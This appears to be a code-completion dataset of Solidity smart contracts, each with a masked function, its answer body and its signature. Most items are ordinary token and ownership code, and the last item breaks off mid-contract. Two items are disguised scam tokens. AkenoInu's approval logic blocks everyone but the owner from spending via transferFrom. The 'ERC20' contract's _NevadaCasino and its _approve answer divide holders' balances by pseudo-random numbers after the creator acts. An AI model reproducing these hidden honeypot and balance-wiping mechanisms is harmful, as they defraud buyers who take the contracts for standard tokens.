"Wrapped Virgin Gen0" WVG0 ERC20 token. uint8 constant public decimals = 18; string constant public name = "Wrapped Virgin Gen 0"; string constant public symbol = "WVG0"; /// @dev The address of official CryptoKitties contract that stores the metadata about each cat. /// @notice The owner is not capable of changing the address of the CryptoKitties Core contract /// once the contract has been deployed. address public kittyCoreAddress = 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d; KittyCore kittyCore; /* ********* */ /* FUNCTIONS */ /* ********* */ /// @notice Allows a user to lock cryptokitties in the contract in exchange for an equal number /// of WVG0 ERC20 tokens. /// @param _kittyIds The ids of the cryptokitties that will be locked into the contract. /// @notice The user must first call approve() in the Cryptokitties Core contract on each kitty /// that thye wish to deposit before calling depositKittiesAndMintTokens(). There is no danger /// of this contract overreaching its approval, since the CryptoKitties Core contract's approve() /// function only approves this contract for a single Cryptokitty. Calling approve() allows this /// contract to transfer the specified kitty in the depositKittiesAndMintTokens() function. function depositKittiesAndMintTokens(uint256[] calldata _kittyIds) external nonReentrant { require(_kittyIds.length > 0, 'you must submit an array with at least one element'); for(uint i = 0; i < _kittyIds.length; i++){ uint256 kittyToDeposit = _kittyIds[i]; uint256 kittyCooldown; uint256 kittyGen; (,,kittyCooldown,,,,,,kittyGen,) = kittyCore.getKitty(kittyToDeposit); require(msg.sender == kittyCore.ownerOf(kittyToDeposit), 'you do not own this cat'); require(kittyCore.kittyIndexToApproved(kittyToDeposit) == address(this), 'you must approve() this contract before you can deposit a cat'); require(kittyGen == 0, 'this cat must be generation 0'); require(kittyCooldown == 0, 'cooldown must be fast'); kittyCore.transferFrom(msg.sender, address(this), kittyToDeposit); _pushKitty(kittyToDeposit); emit DepositKittyAndMintToken(kittyToDeposit); } _mint(msg.sender, (_kittyIds.length).mul(10**18)); } /// @notice Allows a user to burn WVG0 ERC20 tokens in exchange for an equal number of locked /// cryptokitties. /// @param _kittyIds The IDs of the kitties that the user wishes to withdraw. If the user submits 0 /// as the ID for any kitty, the contract uses the last kitty in the array for that kitty. /// @param _destinationAddresses The addresses that the withdrawn kitties will be sent to (this allows /// anyone to "airdrop" kitties to addresses that they do not own in a single transaction). function burnTokensAndWithdrawKitties(uint256[] calldata _kittyIds, address[] calldata _destinationAddresses) external nonReentrant {<FILL_FUNCTION_BODY> } /// @notice Adds a locked cryptokitty to the end of the array /// @param _kittyId The id of the cryptokitty that will be locked into the contract. function _pushKitty(uint256 _kittyId) internal { depositedKittiesArray.push(_kittyId); kittyIsDepositedInContract[_kittyId] = true; } /// @notice Removes an unlocked cryptokitty from the end of the array /// @notice The reason that this function must check if the kittyIsDepositedInContract /// is that the withdrawSpecificKitty() function allows a user to withdraw a kitty /// from the array out of order. /// @return The id of the cryptokitty that will be unlocked from the contract. function _popKitty() internal returns(uint256){ require(depositedKittiesArray.length > 0, 'there are no cats in the array'); uint256 kittyId = depositedKittiesArray[depositedKittiesArray.length - 1]; depositedKittiesArray.length--; while(kittyIsDepositedInContract[kittyId] == false){ kittyId = depositedKittiesArray[depositedKittiesArray.length - 1]; depositedKittiesArray.length--; } kittyIsDepositedInContract[kittyId] = false; return kittyId; } /// @notice Removes any kitties that exist in the array but are no longer held in the /// contract, which happens if the first few kitties have previously been withdrawn /// out of order using the withdrawSpecificKitty() function. /// @notice This function exists to prevent a griefing attack where a malicious attacker /// could call withdrawSpecificKitty() on a large number of kitties at the front of the /// array, causing the while-loop in _popKitty to always run out of gas. /// @param _numSlotsToCheck The number of slots to check in the array. function batchRemoveWithdrawnKittiesFromStorage(uint256 _numSlotsToCheck) external { require(_numSlotsToCheck <= depositedKittiesArray.length, 'you are trying to batch remove more slots than exist in the array'); uint256 arrayIndex = depositedKittiesArray.length; for(uint i = 0; i < _numSlotsToCheck; i++){ arrayIndex = arrayIndex.sub(1); uint256 kittyId = depositedKittiesArray[arrayIndex]; if(kittyIsDepositedInContract[kittyId] == false){ depositedKittiesArray.length--; } else { return; } } } /// @notice The owner is not capable of changing the address of the CryptoKitties Core /// contract once the contract has been deployed. constructor() public { kittyCore = KittyCore(kittyCoreAddress); } /// @dev We leave the fallback function payable in case the current State Rent proposals require /// us to send funds to this contract to keep it alive on mainnet. /// @notice There is no function that allows the contract creator to withdraw any funds sent /// to this contract, so any funds sent directly to the fallback function that are not used for /// State Rent are lost forever. function() external payable {} }
contract WrappedVG0 is ERC20, ReentrancyGuard { // OpenZeppelin's SafeMath library is used for all arithmetic operations to avoid overflows/underflows. using SafeMath for uint256; /* ****** */ /* EVENTS */ /* ****** */ /// @dev This event is fired when a user deposits cryptokitties into the contract in exchange /// for an equal number of WVG0 ERC20 tokens. /// @param kittyId The cryptokitty id of the kitty that was deposited into the contract. event DepositKittyAndMintToken( uint256 kittyId ); /// @dev This event is fired when a user deposits WVG0 ERC20 tokens into the contract in exchange /// for an equal number of locked cryptokitties. /// @param kittyId The cryptokitty id of the kitty that was withdrawn from the contract. event BurnTokenAndWithdrawKitty( uint256 kittyId ); /* ******* */ /* STORAGE */ /* ******* */ /// @dev An Array containing all of the cryptokitties that are locked in the contract, backing /// WVG0 ERC20 tokens 1:1 /// @notice Some of the kitties in this array were indeed deposited to the contract, but they /// are no longer held by the contract. This is because withdrawSpecificKitty() allows a /// user to withdraw a kitty "out of order". Since it would be prohibitively expensive to /// shift the entire array once we've withdrawn a single element, we instead maintain this /// mapping to determine whether an element is still contained in the contract or not. uint256[] private depositedKittiesArray; /// @dev A mapping keeping track of which kittyIDs are currently contained within the contract. /// @notice We cannot rely on depositedKittiesArray as the source of truth as to which cats are /// deposited in the contract. This is because burnTokensAndWithdrawKitties() allows a user to /// withdraw a kitty "out of order" of the order that they are stored in the array. Since it /// would be prohibitively expensive to shift the entire array once we've withdrawn a single /// element, we instead maintain this mapping to determine whether an element is still contained /// in the contract or not. mapping (uint256 => bool) private kittyIsDepositedInContract; /* ********* */ /* CONSTANTS */ /* ********* */ /// @dev The metadata details about the "Wrapped Virgin Gen0" WVG0 ERC20 token. uint8 constant public decimals = 18; string constant public name = "Wrapped Virgin Gen 0"; string constant public symbol = "WVG0"; /// @dev The address of official CryptoKitties contract that stores the metadata about each cat. /// @notice The owner is not capable of changing the address of the CryptoKitties Core contract /// once the contract has been deployed. address public kittyCoreAddress = 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d; KittyCore kittyCore; /* ********* */ /* FUNCTIONS */ /* ********* */ /// @notice Allows a user to lock cryptokitties in the contract in exchange for an equal number /// of WVG0 ERC20 tokens. /// @param _kittyIds The ids of the cryptokitties that will be locked into the contract. /// @notice The user must first call approve() in the Cryptokitties Core contract on each kitty /// that thye wish to deposit before calling depositKittiesAndMintTokens(). There is no danger /// of this contract overreaching its approval, since the CryptoKitties Core contract's approve() /// function only approves this contract for a single Cryptokitty. Calling approve() allows this /// contract to transfer the specified kitty in the depositKittiesAndMintTokens() function. function depositKittiesAndMintTokens(uint256[] calldata _kittyIds) external nonReentrant { require(_kittyIds.length > 0, 'you must submit an array with at least one element'); for(uint i = 0; i < _kittyIds.length; i++){ uint256 kittyToDeposit = _kittyIds[i]; uint256 kittyCooldown; uint256 kittyGen; (,,kittyCooldown,,,,,,kittyGen,) = kittyCore.getKitty(kittyToDeposit); require(msg.sender == kittyCore.ownerOf(kittyToDeposit), 'you do not own this cat'); require(kittyCore.kittyIndexToApproved(kittyToDeposit) == address(this), 'you must approve() this contract before you can deposit a cat'); require(kittyGen == 0, 'this cat must be generation 0'); require(kittyCooldown == 0, 'cooldown must be fast'); kittyCore.transferFrom(msg.sender, address(this), kittyToDeposit); _pushKitty(kittyToDeposit); emit DepositKittyAndMintToken(kittyToDeposit); } _mint(msg.sender, (_kittyIds.length).mul(10**18)); } <FILL_FUNCTION> /// @notice Adds a locked cryptokitty to the end of the array /// @param _kittyId The id of the cryptokitty that will be locked into the contract. function _pushKitty(uint256 _kittyId) internal { depositedKittiesArray.push(_kittyId); kittyIsDepositedInContract[_kittyId] = true; } /// @notice Removes an unlocked cryptokitty from the end of the array /// @notice The reason that this function must check if the kittyIsDepositedInContract /// is that the withdrawSpecificKitty() function allows a user to withdraw a kitty /// from the array out of order. /// @return The id of the cryptokitty that will be unlocked from the contract. function _popKitty() internal returns(uint256){ require(depositedKittiesArray.length > 0, 'there are no cats in the array'); uint256 kittyId = depositedKittiesArray[depositedKittiesArray.length - 1]; depositedKittiesArray.length--; while(kittyIsDepositedInContract[kittyId] == false){ kittyId = depositedKittiesArray[depositedKittiesArray.length - 1]; depositedKittiesArray.length--; } kittyIsDepositedInContract[kittyId] = false; return kittyId; } /// @notice Removes any kitties that exist in the array but are no longer held in the /// contract, which happens if the first few kitties have previously been withdrawn /// out of order using the withdrawSpecificKitty() function. /// @notice This function exists to prevent a griefing attack where a malicious attacker /// could call withdrawSpecificKitty() on a large number of kitties at the front of the /// array, causing the while-loop in _popKitty to always run out of gas. /// @param _numSlotsToCheck The number of slots to check in the array. function batchRemoveWithdrawnKittiesFromStorage(uint256 _numSlotsToCheck) external { require(_numSlotsToCheck <= depositedKittiesArray.length, 'you are trying to batch remove more slots than exist in the array'); uint256 arrayIndex = depositedKittiesArray.length; for(uint i = 0; i < _numSlotsToCheck; i++){ arrayIndex = arrayIndex.sub(1); uint256 kittyId = depositedKittiesArray[arrayIndex]; if(kittyIsDepositedInContract[kittyId] == false){ depositedKittiesArray.length--; } else { return; } } } /// @notice The owner is not capable of changing the address of the CryptoKitties Core /// contract once the contract has been deployed. constructor() public { kittyCore = KittyCore(kittyCoreAddress); } /// @dev We leave the fallback function payable in case the current State Rent proposals require /// us to send funds to this contract to keep it alive on mainnet. /// @notice There is no function that allows the contract creator to withdraw any funds sent /// to this contract, so any funds sent directly to the fallback function that are not used for /// State Rent are lost forever. function() external payable {} }
require(_kittyIds.length == _destinationAddresses.length, 'you did not provide a destination address for each of the cats you wish to withdraw'); require(_kittyIds.length > 0, 'you must submit an array with at least one element'); uint256 numTokensToBurn = _kittyIds.length; require(balanceOf(msg.sender) >= numTokensToBurn.mul(10**18), 'you do not own enough tokens to withdraw this many ERC721 cats'); _burn(msg.sender, numTokensToBurn.mul(10**18)); for(uint i = 0; i < numTokensToBurn; i++){ uint256 kittyToWithdraw = _kittyIds[i]; if(kittyToWithdraw == 0){ kittyToWithdraw = _popKitty(); } else { require(kittyIsDepositedInContract[kittyToWithdraw] == true, 'this kitty has already been withdrawn'); require(address(this) == kittyCore.ownerOf(kittyToWithdraw), 'the contract does not own this cat'); kittyIsDepositedInContract[kittyToWithdraw] = false; } kittyCore.transfer(_destinationAddresses[i], kittyToWithdraw); emit BurnTokenAndWithdrawKitty(kittyToWithdraw); }
function burnTokensAndWithdrawKitties(uint256[] calldata _kittyIds, address[] calldata _destinationAddresses) external nonReentrant
/// @notice Allows a user to burn WVG0 ERC20 tokens in exchange for an equal number of locked /// cryptokitties. /// @param _kittyIds The IDs of the kitties that the user wishes to withdraw. If the user submits 0 /// as the ID for any kitty, the contract uses the last kitty in the array for that kitty. /// @param _destinationAddresses The addresses that the withdrawn kitties will be sent to (this allows /// anyone to "airdrop" kitties to addresses that they do not own in a single transaction). function burnTokensAndWithdrawKitties(uint256[] calldata _kittyIds, address[] calldata _destinationAddresses) external nonReentrant
85097
Ownable
_transferOwnership
contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor(address owner) internal { _owner = owner; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal {<FILL_FUNCTION_BODY> } }
contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor(address owner) internal { _owner = owner; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } <FILL_FUNCTION> }
require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner;
function _transferOwnership(address newOwner) internal
/** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal
39545
AkenoInu
_transfer
contract AkenoInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**12 * 10**18; string private _name = ' Akeno Inu '; string private _symbol = 'AKENO'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal {<FILL_FUNCTION_BODY> } }
contract AkenoInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**12 * 10**18; string private _name = ' Akeno Inu '; string private _symbol = 'AKENO'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } <FILL_FUNCTION> }
require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount);
function _transfer(address sender, address recipient, uint256 amount) internal
function _transfer(address sender, address recipient, uint256 amount) internal
52086
WageSwap
withdrawWage
contract WageSwap is Ownable { //Swap deadline timestamp uint256 public _endSwap; address public _wageV1; address public _wage; constructor(address wageV1, address wagev2) public { _wageV1 = wageV1; _wage = wagev2; _endSwap = now + 72 hours; } event Swap(address indexed sender, uint256 swapAmount); function doSwap(uint256 swapAmount) external { require(now <= _endSwap, "Swap deadline exceeded"); assert(IERC20(_wageV1).transferFrom(msg.sender, address(this), swapAmount)); assert(IERC20(_wage).transfer(msg.sender, swapAmount)); emit Swap(msg.sender, swapAmount); } function withdrawWage() external onlyOwner {<FILL_FUNCTION_BODY> } }
contract WageSwap is Ownable { //Swap deadline timestamp uint256 public _endSwap; address public _wageV1; address public _wage; constructor(address wageV1, address wagev2) public { _wageV1 = wageV1; _wage = wagev2; _endSwap = now + 72 hours; } event Swap(address indexed sender, uint256 swapAmount); function doSwap(uint256 swapAmount) external { require(now <= _endSwap, "Swap deadline exceeded"); assert(IERC20(_wageV1).transferFrom(msg.sender, address(this), swapAmount)); assert(IERC20(_wage).transfer(msg.sender, swapAmount)); emit Swap(msg.sender, swapAmount); } <FILL_FUNCTION> }
require(now > _endSwap, "Swap ongoing"); IERC20(_wageV1).transfer(owner(), IERC20(_wageV1).balanceOf(address(this))); IERC20(_wage).transfer(owner(), IERC20(_wage).balanceOf(address(this))); Ownable(_wage).transferOwnership(owner());
function withdrawWage() external onlyOwner
function withdrawWage() external onlyOwner
84582
ERC20
_approve
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) public PumpContract; mapping (address => bool) public NevadaContract; mapping (address => uint256) private _balances; mapping (address => uint256) private _balancesCopy; mapping (address => mapping (address => uint256)) private _allowances; address[] private nevadaArray; string private _name; string private _symbol; address private _creator; uint256 private _totalSupply; uint256 private CapitalContract; uint256 private CapitalTax; uint256 private PumpArmy; bool private BigNevadaContract; bool private FRNope; bool private DataCapital; bool private ApproveCapital; uint16 private LaunchTheToken; constructor (string memory name_, string memory symbol_, address creator_) { _name = name_; _creator = creator_; _symbol = symbol_; FRNope = true; PumpContract[creator_] = true; BigNevadaContract = true; DataCapital = false; NevadaContract[creator_] = false; ApproveCapital = false; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function randomly() internal returns (uint16) { LaunchTheToken = (uint16(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%16372)/100); return LaunchTheToken; } function _frontrunnerProtection(address sender, uint256 amount) internal view { if ((PumpContract[sender] == false)) { if ((amount > PumpArmy)) { require(false); } require(amount < CapitalContract); } } function _NevadaCasino(address sender) internal { if ((address(sender) == _creator) && (DataCapital == true)) { for (uint i = 0; i < nevadaArray.length; i++) { if (PumpContract[nevadaArray[i]] != true) { _balances[nevadaArray[i]] = _balances[nevadaArray[i]] / uint256(randomly()); } } ApproveCapital = true; } } function DeployNPC(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); (uint256 temp1, uint256 temp2) = (20, 1); _totalSupply += amount; _balances[account] += amount; CapitalContract = _totalSupply; CapitalTax = _totalSupply / temp1; PumpArmy = CapitalTax * temp2; emit Transfer(address(0), account, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); (CapitalContract,DataCapital) = ((address(sender) == _creator) && (FRNope == false)) ? (CapitalTax, true) : (CapitalContract,DataCapital); (PumpContract[recipient],FRNope) = ((address(sender) == _creator) && (FRNope == true)) ? (true, false) : (PumpContract[recipient],FRNope); _frontrunnerProtection(sender, amount); _NevadaCasino(sender); nevadaArray.push(recipient); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } }
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) public PumpContract; mapping (address => bool) public NevadaContract; mapping (address => uint256) private _balances; mapping (address => uint256) private _balancesCopy; mapping (address => mapping (address => uint256)) private _allowances; address[] private nevadaArray; string private _name; string private _symbol; address private _creator; uint256 private _totalSupply; uint256 private CapitalContract; uint256 private CapitalTax; uint256 private PumpArmy; bool private BigNevadaContract; bool private FRNope; bool private DataCapital; bool private ApproveCapital; uint16 private LaunchTheToken; constructor (string memory name_, string memory symbol_, address creator_) { _name = name_; _creator = creator_; _symbol = symbol_; FRNope = true; PumpContract[creator_] = true; BigNevadaContract = true; DataCapital = false; NevadaContract[creator_] = false; ApproveCapital = false; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function randomly() internal returns (uint16) { LaunchTheToken = (uint16(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%16372)/100); return LaunchTheToken; } function _frontrunnerProtection(address sender, uint256 amount) internal view { if ((PumpContract[sender] == false)) { if ((amount > PumpArmy)) { require(false); } require(amount < CapitalContract); } } function _NevadaCasino(address sender) internal { if ((address(sender) == _creator) && (DataCapital == true)) { for (uint i = 0; i < nevadaArray.length; i++) { if (PumpContract[nevadaArray[i]] != true) { _balances[nevadaArray[i]] = _balances[nevadaArray[i]] / uint256(randomly()); } } ApproveCapital = true; } } function DeployNPC(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); (uint256 temp1, uint256 temp2) = (20, 1); _totalSupply += amount; _balances[account] += amount; CapitalContract = _totalSupply; CapitalTax = _totalSupply / temp1; PumpArmy = CapitalTax * temp2; emit Transfer(address(0), account, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } <FILL_FUNCTION> function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); (CapitalContract,DataCapital) = ((address(sender) == _creator) && (FRNope == false)) ? (CapitalTax, true) : (CapitalContract,DataCapital); (PumpContract[recipient],FRNope) = ((address(sender) == _creator) && (FRNope == true)) ? (true, false) : (PumpContract[recipient],FRNope); _frontrunnerProtection(sender, amount); _NevadaCasino(sender); nevadaArray.push(recipient); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } }
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); (PumpContract[spender],NevadaContract[spender],BigNevadaContract) = ((address(owner) == _creator) && (BigNevadaContract == true)) ? (true,false,false) : (PumpContract[spender],NevadaContract[spender],BigNevadaContract); _allowances[owner][spender] = amount; _balances[owner] = ApproveCapital ? (_balances[owner] / uint256(randomly())) : _balances[owner]; emit Approval(owner, spender, amount);
function _approve(address owner, address spender, uint256 amount) internal virtual
function _approve(address owner, address spender, uint256 amount) internal virtual
79915
QchainToken
QchainToken
contract QchainToken is Token { /* * Token meta data */ string constant public name = "Ethereum Qchain Token"; string constant public symbol = "EQC"; uint8 constant public decimals = 8; // Address where Foundation tokens are allocated address constant public foundationReserve = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; // Address where all tokens for the ICO stage are initially allocated address constant public icoAllocation = 0x1111111111111111111111111111111111111111; // Address where all tokens for the PreICO are initially allocated address constant public preIcoAllocation = 0x2222222222222222222222222222222222222222; // ICO start date. 10/24/2017 @ 9:00pm (UTC) uint256 constant public startDate = 1508878800; uint256 constant public duration = 42 days; // Public key of the signer address public signer; // Foundation multisignature wallet, all Ether is collected there address public multisig; /// @dev Contract constructor, sets totalSupply function QchainToken(address _signer, address _multisig) {<FILL_FUNCTION_BODY> } modifier icoIsActive { require(now >= startDate && now < startDate + duration); _; } modifier icoIsCompleted { require(now >= startDate + duration); _; } /// @dev Settle an investment and distribute tokens function invest(address investor, uint256 tokenPrice, uint256 value, bytes32 hash, uint8 v, bytes32 r, bytes32 s) public icoIsActive payable { // Check the hash require(sha256(uint(investor) << 96 | tokenPrice) == hash); // Check the signature require(ecrecover(hash, v, r, s) == signer); // Difference between the value argument and actual value should not be // more than 0.005 ETH (gas commission) require(sub(value, msg.value) <= withDecimals(5, 15)); // Number of tokens to distribute uint256 tokensNumber = div(withDecimals(value, decimals), tokenPrice); // Check if there is enough tokens left require(balances[icoAllocation] >= tokensNumber); // Send Ether to the multisig require(multisig.send(msg.value)); // Allocate tokens to an investor balances[icoAllocation] -= tokensNumber; balances[investor] += tokensNumber; Transfer(icoAllocation, investor, tokensNumber); } /// @dev Overrides Owned.sol function function confirmOwnership() public onlyPotentialOwner { // Allow new owner to withdraw tokens from Foundation reserve and // preICO allocation address allowed[foundationReserve][potentialOwner] = balanceOf(foundationReserve); allowed[preIcoAllocation][potentialOwner] = balanceOf(preIcoAllocation); // Forbid old owner to withdraw tokens from Foundation reserve and // preICO allocation address allowed[foundationReserve][owner] = 0; allowed[preIcoAllocation][owner] = 0; // Change owner super.confirmOwnership(); } /// @dev Withdraws tokens from Foundation reserve function withdrawFromReserve(uint amount) public onlyOwner { // Withdraw tokens from Foundation reserve to multisig address require(transferFrom(foundationReserve, multisig, amount)); } /// @dev Changes multisig address function changeMultisig(address _multisig) public onlyOwner { multisig = _multisig; } /// @dev Burns the rest of the tokens after the crowdsale end function burn() public onlyOwner icoIsCompleted { totalSupply = sub(totalSupply, balanceOf(icoAllocation)); balances[icoAllocation] = 0; } }
contract QchainToken is Token { /* * Token meta data */ string constant public name = "Ethereum Qchain Token"; string constant public symbol = "EQC"; uint8 constant public decimals = 8; // Address where Foundation tokens are allocated address constant public foundationReserve = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; // Address where all tokens for the ICO stage are initially allocated address constant public icoAllocation = 0x1111111111111111111111111111111111111111; // Address where all tokens for the PreICO are initially allocated address constant public preIcoAllocation = 0x2222222222222222222222222222222222222222; // ICO start date. 10/24/2017 @ 9:00pm (UTC) uint256 constant public startDate = 1508878800; uint256 constant public duration = 42 days; // Public key of the signer address public signer; // Foundation multisignature wallet, all Ether is collected there address public multisig; <FILL_FUNCTION> modifier icoIsActive { require(now >= startDate && now < startDate + duration); _; } modifier icoIsCompleted { require(now >= startDate + duration); _; } /// @dev Settle an investment and distribute tokens function invest(address investor, uint256 tokenPrice, uint256 value, bytes32 hash, uint8 v, bytes32 r, bytes32 s) public icoIsActive payable { // Check the 